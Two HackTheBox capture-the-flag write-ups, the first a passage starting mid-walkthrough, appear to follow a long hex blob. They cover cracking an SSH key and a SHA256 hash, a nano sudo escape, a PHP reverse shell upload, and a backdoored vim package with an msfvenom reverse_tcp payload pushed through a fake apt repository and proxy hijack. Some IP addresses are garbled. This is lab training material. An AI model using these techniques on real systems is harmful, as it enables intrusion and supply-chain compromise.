7d79182af16472872ab3c222bdd2b5f941604b7de582b08ce3f6635d83f66e9b84e6fe9d3eafa166f9e62a4cdc993d42ed8c0ad5713205a9fc7e5bc87b2feeaffe05167a27b04975e9366fa254adf511ffd7d07bc1f5075d70b2a7db06f2224692566fb5e8890c6e39038787873f21c52ce14e1e70e60b8fca716feb5d0727ac1c355cf633226c993ca2f16b95c59b3cc31ac7f641335d80ff1ad3e672f88609ec5a4532986e0567e169094189dcc82d11d46bf73bc6c48a05f84982aa222b4c0e78b18cceb15345116e74f5fbc55d407ed9ba12559f57f37512998565a54fe77ea2a2224abbddea75a1b6da09ae3ac043b6161809b630174603f33195827d14d0ebd64c6e48e0d0346b469d664f89e2ef0e4c28b6a64acdd3a0edf8a61915a246feb25e8e69b3710916e494d5f482bf6ab65c675f73c39b2c2eecdca6709188c6f36b6331953e3f93e27c987a3743eaa71502c43a807d8f91cdc4dc33f48b852efdc8fcc2647f2e588ae368d69998348f0bfcfe6d65892aebb86351825c2aa45afc2e6869987849d70cec46ba951c864accfb8476d5643e7926942ddd8f0f32c296662ba659e999b0fb0bbfde7ba2834e5ec931d576e4333d6b5e8960e9de46d32daa5360ce3d0d6b864d3324401c4975485f1aef6ba618edb12d679b0e861fe5549249962d08d25dc2dde517b23cf9a76dcf482530c9a34762f97361dd95352de4c82263cfaa90796c2fa33dd5ce1d889a045d587ef18a5b940a2880e1c706541e2b523572a8836d513f6e688444af86e2ba9ad2ded540deadd9559eb56ac66fe021c3f88c2a1a484d62d602903793d10d

root@kali:~/Desktop/htb/OpenAdmin# john id_rsa_to_crack --format=SSH --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:03 15.75% (ETA: 18:45:29) 0g/s 809092p/s 809092c/s 809092C/s zumiez33..zumiewan
0g 0:00:00:05 30.40% (ETA: 18:45:26) 0g/s 893846p/s 893846c/s 893846C/s prinny7..prinni123
0g 0:00:00:08 47.95% (ETA: 18:45:26) 0g/s 865528p/s 865528c/s 865528C/s jlb2qe..jlb2180
bloodninjas      (id_rsa)
1g 0:00:00:15 DONE (2020-01-27 18:45) 0.06281g/s 900860p/s 900860c/s 900860C/sa6_123..*7¡Vamos!
Session completed

We then login as joanna with and quickly find our way to get root:

root@kali:~/Desktop/htb/OpenAdmin# ssh -i id_rsa joanna@10.10.10.171
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Jan 28 01:15:03 UTC 2020

  System load:  0.21              Processes:             238
  Usage of /:   49.2% of 7.81GB   Users logged in:       1
  Memory usage: 33%               IP address for ens160: 10.10.10.171
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

41 packages can be updated.
12 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Jan  2 21:12:40 2020 from 10.10.14.3
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv
joanna@openadmin:~$

Since we know we can execute /bin/nano as root, we can easily escape the shell, you can look more into gtfobins here.

sudo /bin/nano /opt/priv
^R^X
reset; sh 1>&0 2>&0
# id
uid=0(root) gid=0(root) groups=0(root)

And we owned the box!

Thanks for reading!

CTF – HTB – OneTwoSeven

To keep fresh with cybersecurity trends, I like to solve challenges. This box is from the HackTheBox.eu, a website dedicated to train cybersecurity professionnals.

We start with a basic nmap search with -sC for standard scripts and -sV for service version detection.

root@kali:—/Desktop/htb/OneTwoSeven# nmap -sC -o TCP_scan 10.10.10.133
Starting Nmap 7.78 ( https://nmap.org ) at 2019-09-05 11:55 EDT Nmap scan report for 10.10.10.133
Host is up (0.024s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
22/tcp open ssh
|  ssh-hostkey: 1 2848 48:6c:93:34:16:58:05:eb:9a:e5:5b:96:b6:d5:14:aa (RSA)
|  256 32:b7:f3:e2:6d:ac:94:3e:6f:11:d8:05:b9:69:58:45 (ECDSA)
|_ 256 35:52:04:dc:32:69:1a:b7:52:76:06:e3:6c:17:1e:ad (ED25519)
80/tcp open http
|_http-title: Page moved.

Nmap done: 1 IP address (1 host up) scanned in 3.50 seconds

The scan reveals port 22 and 80. By visiting the website we get redirected to /index.php.

Webpage

In the signup.php page, we obtain credentials for an sftp server. We put this aside while we continue to explore the website. We note by exploring the source of the /index.php page that the admin link in the main menu is disabled, however the html href parameter is set to http://onetwoseven.htb:60080/. We add onetwoseven.htb to our /etc/hosts so we can access it later if we need. Also, a comment states :

<!-- Only enable link if access from trusted networks admin/20190212 -->
<!-- Added localhost admin/20190214 -->

Continuing our exploration phase, we try to enumerate all files and folders hosted on the web server with dirbuster, however we obtain no results since all our request are getting blocked. A hint on the page tells us that our SYN packets are dropped if the error count for an IP address is high.

[...]
INFO: Retrying request
Sep 05, 2019 12:12:21 PM org.apache.commons.httpclient.HttpMethodDirector executeWithRetry
INFO: I/O exception (java.net.ConnectException) caught when processing request: Connection refused (Connection refused)
Sep 05, 2019 12:12:21 PM org.apache.commons.httpclient.HttpMethodDirector executeWithRetry
INFO: Retrying request
[...]

The credentials for the secure ftp are pre-generated. We also note that by changing our IP address and regenerating the page we obtain new credentials. After we login to the service, we found only the index.html which only renders to an empty page with a brick wall image.

root@kali:—/Desktop/htb/OneTwoSeven# sftp ots-jNjdlMTk@10.10.10.133
The authenticity of host '10.10.10.133 (10.10.10.133)' can't be established.
ECDSA key fingerprint is SHA256:+1UmP2SWWfgjoiyECyN2pRL1BIELdHrx6lt8mCwOoLO.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.133' (ECDSA) to the list of known hosts.
ots-jNjdlMTk@10.10.10.133's password:
Connected to ots-jNjdlMTk@10.10.10.133.
sftp> dir
public_html
sftp> cd ./public_html/
sftp> dir 
index.html
sftp>

Since the server runs php, we try to upload a php reverse shell : put phpshell.php

By navigating to /ots-jNjdlMT/phpshell.php we could’nt get a reverse shell on our listener since it escapes all php commands. Since we can only display static pages on that domain, we have to find another attack vector.

We can use the hint given in the comments above which basicly tells us that only trusted a local connection could connect to 60080 port. A quick scan to obtain information about this port returns nothing interesting.

root@kali:—/Desktop/htb/OneTwoSeven# nmap -p 60080 10.10.10.133
Starting Nmap 7.76 ( https://nmap.org ) at 2019-09-05 13:36 EDT
Nmap scan report for onetwoseven.htb (10.10.10.133)
Host is up (6.621s latency).
PORT STATE SERVICE
60080/tcp filtered unknown
Nmap done: 1 IP address (1 host u.) scanned in 1.61 seconds

A simple solution is to use a local port forward using the sftp credentials. From ssh man page :

Specifies that the given port on the local (client) host is to be forwarded to the given host and port on the remote side. This works by allocating a socket to listen to port on the local side, optionally bound to the specified bind_address. Whenever a connection is made to this port, the connection is forwarded over the secure channel, and a connection is made to host port hostport from the remote machine.

The -L is for the local port forwarding and -N is simply to not execute commands, we will use this tunnel to get access to the 60080 port :ssh -N -L 60080:127.0.0.1:60080 ots-jNjdlMTk@10.10.10.133

We can then connect to our local machine on port 60080 which is forwarded from the box. We obtain a login page for “administration backend”.

Authentication page

Since we have no login credentials yet, we can enumerate some more on the box. Back to the sftp service, we can create a symlink to a directory outside the default folder and traverse directories. Here we create a symlink with ln -s / link to the / folder and name it “link”. By navigating to http://onetwoseven.htb/~ots-jNjdlMTk/link we can list directories.

Directory listing

The only folders we have access are /var/www/html and /var/www/html-admin, were we find a swap file for the administrator backend page called .login.php.swp. We find the form used in the administrator page as well as the hashed password in sha256. We can easily crack it with john the ripper or hashcat.

[...]
if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) == '11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8')
[...]
root@kali:—/Desktop/htb/OneTwoSeven# john --format=Raw-SHA256 ots-admin-pass --wordlist=fusr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA256 [SHA256 256/256 AVX2 8x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Homesweethomel (?)
lg 0:00:00:03 DONE (2019-09-05 14:45) 8.3225g/s 3593Kp/s 3593Kc/s 3593KC/s IloveBrandiLynn..Galgenwaard
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed

After we login we find a module to upload “plugins” as well as links to php files that outputs results from system operations. There are also links to download those scripts. An interesting note from ots-sysupdate.php :

[...]
# echo shell_exec("/usr/bin/sudo apt-get update && /usr/bin/sudo apt-get upgrade");
# 20190214/wde
# Still waiting for outbound proxy clearance for update downloads. Security is a pain!

The “Plugin Upload. Admins Only!” form has its submit button deactivated. We will simply use the inspector to edit the button tags by removing the disabled=”disabled” attribute. When trying to upload the php reverse shell script, the form action points to /addon-upload.php which does not exist. The “OTS Addon Manager” plugin already present on the page gives us a good hint by telling us basicly were we point the form action to upload our plugin.

Administration backend plugins
[...]
case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):
if(isset($_FILES['addon'])){
$errors= array();
$file_name = basename($_FILES['addon']['name']);
$file_size =$_FILES['addon']['size'];
$file_tmp =$_FILES['addon']['tmp_name'];

if($file_size > 20000){
$errors[]='Module too big for addon manager. Please upload manually.';
}

if(empty($errors)==true) {
move_uploaded_file($file_tmp,$file_name);
header("Location: /menu.php");
header("Content-Type: text/plain");
echo "File uploaded successfull.y";
} else {
header("Location: /menu.php");
header("Content-Type: text/plain");
echo "Error uploading the file: ";
print_r($errors);
}
[...]

We then send a POST request with the form parameters to addon-download.php?random-param=/addon-upload.php/ to upload our reverse shell (since we need to have “addon-upload.php” as a string in our request uri). We can then open a listener and access the url where our shell was uploaded (http://127.0.0.1:60080/menu.php?addon=addons/phpshell.php) :

root@kali:—/Desktop/htb/OneTwaSeven# nc -lvp 8888
listening on [any] 8888 ...
connect to [10.10.15.64] from onetwoseven.htb [18.18.18.133] 41384
bash: cannot set terminal process group (1589): Inappropriate ioctl for device
bash: no job control in this shell
www-admin-data@onetwoseven:/var/www/html-admin$ ls
ls
addons
carousel.css
dist
login.php
logout.php
menu.php
www-admin-data@onetwoseven:/var/www/html-admin$ whoami
whoami
www-admin-data
www-admin-data@onetwoseven:/var/www/html-admin$

By running sudo -l we obtain the list of commands that could be running as root in our user.

www-admin-data@onetwoseven:/home$ sudo -l
sudo -l
Matching Defaults entries for www-admin-data on onetwoseven:
env reset, env keep+="ftp proxy http proxy https proxy no proxy",
mail_badpass,
secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-admin-data may run the following commands on onetwoseven:

(ALL : ALL) NOPASSWD: /usr/bin/apt-get update, /usr/bin/apt-get upgrade

We understand from that if we can backdoor a package and use the http_proxy environment variable to trick our package manager to fetch our backdoored package we can get it to run a shell as root. We can look at the package list using :

apt list --installed

ucf/stable,now 3.8836 all [installed]
udev/stable,now 1:3.2.2+devuan2.11 amd64 [installed]
util-linux/stable,stable-security,now 2.29.2-1+devuan2.1 amd64 [installed]
util-linux-locales/stable,now 2.29.2-1+devuan2.1 all [installed,automatic]
vim/stable,now 2:8.0.0197-4+deb9u1 amd64 [installed,upgradable to: 2:8.0.0197-4+deb9u3]
vim-common/stable,now 2:8.0.0197-4+deb9u1 all [installed,upgradable to: 2:8.0.0197-4+deb9u3]
vim-runtime/stable,now 2:8.0.0197-4+deb9u1 all [installed,upgradable to: 2:8.0.0197-4+deb9u3]
vim-tiny/stable,now 2:8.0.0197-4+deb9u1 amd64 [installed,upgradable to: 2:8.0.0197-4+deb9u3]
wamerican/stable,now 7.1-1 all [installed]
wget/stable,now 1.18-5+deb9u2 amd64 [installed,upgradable to: 1.18-5+deb9u3]
whiptail/stable,now 8.52.19-1+bl amd64 [installed]
whois/stable,now 5.2.17—deb9ul amd64 [installed,automatic]
xauth/stable,now 1:1.8.9-1+b2 amd64 [installed,automatic]
xdg-user-dirs/stable,now 8.15-2+bl amd64 [installed,automatic]
xkb-data/stable,now 2.19-1+deb9ul all [installed,automatic]
xml-core/stable,now 8.17 all [installed,automatic]

We choose to backdoor vim, the text editor. We can directly download it from the debian repository and depackage it. We prepare a folder and the metada needed in our backdoored package.

root@kali:-/Desktoo/htb/OneTwoSeven/tmo/evil# ls -la
total 1320
drwxr-xr-x 2 root root 4096 Sep 6 09:50 .
drwxr-xr-x 3 root root 4096 Sep 6 09:49 ..
-rw-r--r-- 1 root root 1342240 Sep 6 09:47 vim_8.1.0875-5_i386.deb
root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil# dpkg -x vim 8.1.0875-5 1386.deb work
root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil# mkdir work/DEBIAN
root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil# ls -la
total 1324
drwxr-xr-x 3 root root 4096 Sep 6 09:50 .
drwxr-xr-x 3 root root 4096 Sep 6 09:49 ..
-rw-r--r-- 1 root root 1342240 Sep 6 09:47 vim_8.1.0875-5_i386.deb
drwxr-xr-x 4 root root 4096 Sep 6 09:51 work
root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil# ls -la ./work/
total 16
drwxr-xr-x 4 root root 4096 Sep 6 09:51 .
drwxr-xr-x 3 root root 4096 Sep 6 09:50 ..
drwxr-xr-x 2 root root 4096 Sep 6 09:51 DEBIAN
drwxr-xr-x 4 root root 4096 Jun 15 12:41 usr
root@kali:-/Desktop/htb/OneTwoSevennmp/evil#
root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil/work/DEBIAN# nano control
root@kali:-/Desktop/htb/OneTwaSeven/tmp/evil/work/DEBIAN# cat control
Package: vim
Version: 2.81
Section: Text editor
Priority: optional
Architecture: i386
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text editor
fopwergkwpogkwrfvelrfery
grvhtrhrtvhtrvhtrhrthrtvhtrhtr
bvrthtrvhtrvhrt
hybytrbyrtbnrthvhvth
trvhrbvtbhtyvhtyvhjthy

We also create a post-installation script that will simply make the application executable and start it. Note that it is important also to make that script executable before packaging it.

#!/bin/sh
sudo chmod 2755 /usr/bin/vim && /usr/bin/vim

We create our payload that is staged meterpreter shell. That is when we get back our connections, the executed malicious code will download additionnal modules to get a full shell. We then package all these files in deb file and put it in our /var/www/ folder to finally start apache and get our server ready. We then open metasploit to use multi/handler that will get us our shell.

root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil/work# msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=18.18.14.154 LPORT=9999 -b u\x88N -f elf -o ./usr /bin/vim
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 158 (iteration=8)
x86/shikata_ga_nai chosen with final size 158
Payload size: 158 bytes
Final size of elf file: 234 bytes
Saved as: ./usr/bin/vim
dpkg-deb --build ./evil
mv evil.deb vim.deb
mv vim.deb /var/www/vim.deb
service apache2 start
msf5 > use exploit/multi/handler
msf5 exploit(mutti/handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.14.154
LHOST => 18.18.14.154
msf5 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.14.154:9999

Now that we are ready to receive a connection, we need to get that package fetched by our victim. We will use reprepro to run a repository manager in our own server then configure it.

apt-get install reprepro
root@kali:-/Desktop/htb/OneTwaSeven/tmp/evil# mkdir ./apt
root@kali:-/Desktop/htb/OneTwaSeven/tmp/evil# mkdir ./apt/conf
root@kali:-/Desktop/htb/OneTwaSeven/tmp/evil# mkdir ./apt/incoming
root@kali:-/Desktop/htb/OneTwaSeven/tmp/evil# nano ./apt/conf/distributions
root@kali:-/Desktop/htb/OneTwaSeven/tmp/evil# cat ./apt/conf/distributions
Origin: Fake name
Label: Fake label
Suite: stable
Codename: bobo
Version: 3.9
Architectures: i386 all source
Components: main non-free contrib
Description: Your fake description
root@kali:-/Desktop/htb/OneTwoSeven/tmp/evil#
root@kali:—/Desktop/htb/OneTwaSeven/tmp/evili # reprepro -Vb . includedeb bobo ../vim.deb
Created directory "./db"
../vim.deb: component guessed as 'main'
Created directory "./pool"
Created directory "./pool/main"
Created directory "./pool/main/v"
Created directory "./pool/main/v/vim"
Exporting indices...
Created directory "./dists"
Created directory "./dists/bobo"
Created directory "./dists/bobo/main"
Created directory "./dists/bobo/main/binary-amd64"
Created directory "./dists/bobo/non-free"
Created directory "./dists/bobo/non-free/binary-amd64"
Created directory "./dists/bobo/contrib"
Created directory "./dists/bobo/contrib/binary-amd64u"

Our package is now in our own repository. In order to fetch it, we should remember the hint given initially, we simply set the environment variable http_proxy to our own address.

www-admin-data@onetwoseven:/var/www/html-admin$ export http_proxy=http://10.10.14.154:80/

After trying to fetch the packages, we see that the domains packages.onetwoseven.htb does not exist. Since we have a proxy pointing to our own machine, we can route the connection with /etc/hosts by editing the first line.

127.0.0.1 packages.onetwoseven.htb localhost

After updating and upgrading the packages on our victim machine, we get root!

To summarize, we first started with a local port forward to the victim using the sftp credentials, since sftp uses an ssh tunnel to transfer files. Then we traverse directories in the sftp with a symlink and find credentials for the backend of the website. We exploit the website with a simple php command injection to get our initial foothold into the machine. To own the root user, we host our own repository with reprepro and upload a backdoored vim package. After the victim upgrade its packages using root privileges, it gets to execute our script and we get our root shell.

Thanks for reading!